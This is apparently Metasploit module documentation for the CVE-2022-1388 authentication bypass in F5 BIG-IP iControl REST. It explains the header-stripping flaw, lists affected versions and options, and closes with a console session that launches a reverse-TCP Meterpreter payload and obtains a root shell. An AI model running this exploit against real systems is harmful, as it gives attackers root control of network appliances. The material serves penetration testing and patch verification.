5.0 KiB
Vulnerable Application
Description
This module exploits an authentication bypass vulnerability (CVE-2022-1388)
in the F5 BIG-IP iControl REST service to gain access to the admin account,
which is capable of executing commands through the /mgmt/tm/util/bash
endpoint. Successful exploitation results in remote code execution as
the root user.
The F5 BIG-IP management interface is made up of two different web servers:
a reverse proxy that validates HTTP Basic authorization using mod_auth_pam.so,
and a back end that validates the X-F5-Auth-Token header using
AuthTokenWorker.java. If the reverse proxy sees an X-F5-Auth-Token header,
it sends the full request to the back end for validation; if the back end
sees a request without an X-F5-Auth-Token header, it assumes it has
already been validated by the reverse proxy and uses the username from
the Authorization header without validating the password a second time.
The issue fixed in CVE-2022-1388 is that the Connection header,
processed by the reverse proxy, can remove the X-F5-Auth-Token header
after the reverse proxy sees the request, but before it's forwarded to
the back end. That means that the reverse proxy will think the back end
is handling the authorization (since it saw the appropriate header), but
the back end thinks the reverse proxy handled it (because the header gets
removed) and permits the request. This is contrary to the expected
operation and means that whatever username was passed in the Authorization
field will be trusted as if the front end had validated it. This will
result in the attacker bypassing authorization checks and gaining
access to admin.
The iControl REST service has several ways to execute shell commands
as an administrative user, but mgmt/tm/util/bash is purpose-built
to execute bash commands which makes it a perfect target.
CVE-2022-1388 affects the following F5 BIG-IP versions:
- 16.1.x versions prior to 16.1.2.2
- 15.1.x versions prior to 15.1.5.1
- 14.1.x versions prior to 14.1.4.6
- 13.1.x versions prior to 13.1.5
- all 12.1.x and 11.6.x
Tested against BIG-IP 12.1.5.3, 13.1.3.6, 13.1.4.1, and 16.1.2.1.
Setup
Import a vulnerable BIG-IP or BIG-IQ OVA, such as
BIGIP-16.0.1-0.0.3.ALL-vmware.ova from https://ipxpy.net/f5/f5-1-course-introduction/,
into your desired hypervisor. Boot the virtual appliance, and
it should be exploitable out of the box once it's up.
Verification Steps
Targets
0
This executes a Unix command.
1
This uses a Linux dropper to execute code.
Options
USERNAME
Set this to a valid admin username. Defaults to admin.
TARGETURI
Set this to base path to the iControl installation. Defaults to /.
Scenarios
BIG-IP 16.1.2.1
msf6 > use exploits/linux/http/f5_icontrol_rce
[*] Using configured payload cmd/unix/reverse_python_ssl
msf6 exploit(linux/http/f5_icontrol_rce) > set PAYLOAD payload/cmd/unix/python/meterpreter/reverse_tcp
PAYLOAD => cmd/unix/python/meterpreter/reverse_tcp
msf6 exploit(linux/http/f5_icontrol_rce) > set RHOSTS 10.0.0.133
RHOSTS => 10.0.0.133
msf6 exploit(linux/http/f5_icontrol_rce) > set LHOST 10.0.0.123
LHOST => 10.0.0.123
msf6 exploit(linux/http/f5_icontrol_rce) > set RPORT 443
RPORT => 443
msf6 exploit(linux/http/f5_icontrol_rce) > show options
Module options (exploit/linux/http/f5_icontrol_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
HttpPassword yes iControl password
HttpUsername admin yes iControl username
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 10.0.0.133 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 443 yes The target port (TCP)
SSL true no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The base path to the iControl installation
VHOST no HTTP server virtual host
Payload options (cmd/unix/python/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 10.0.0.123 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Unix Command
msf6 exploit(linux/http/f5_icontrol_rce) > exploit
[*] Started reverse TCP handler on 10.0.0.123:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking 10.0.0.133:443
[+] The target is vulnerable.
[*] Executing Unix Command for cmd/unix/python/meterpreter/reverse_tcp
[*] Sending stage (40132 bytes) to 10.0.0.133
[*] Meterpreter session 1 opened (10.0.0.123:4444 -> 10.0.0.133:50372) at 2022-05-11 10:59:32 -0700
[!] Command execution timed out
meterpreter > getuid
Server username: root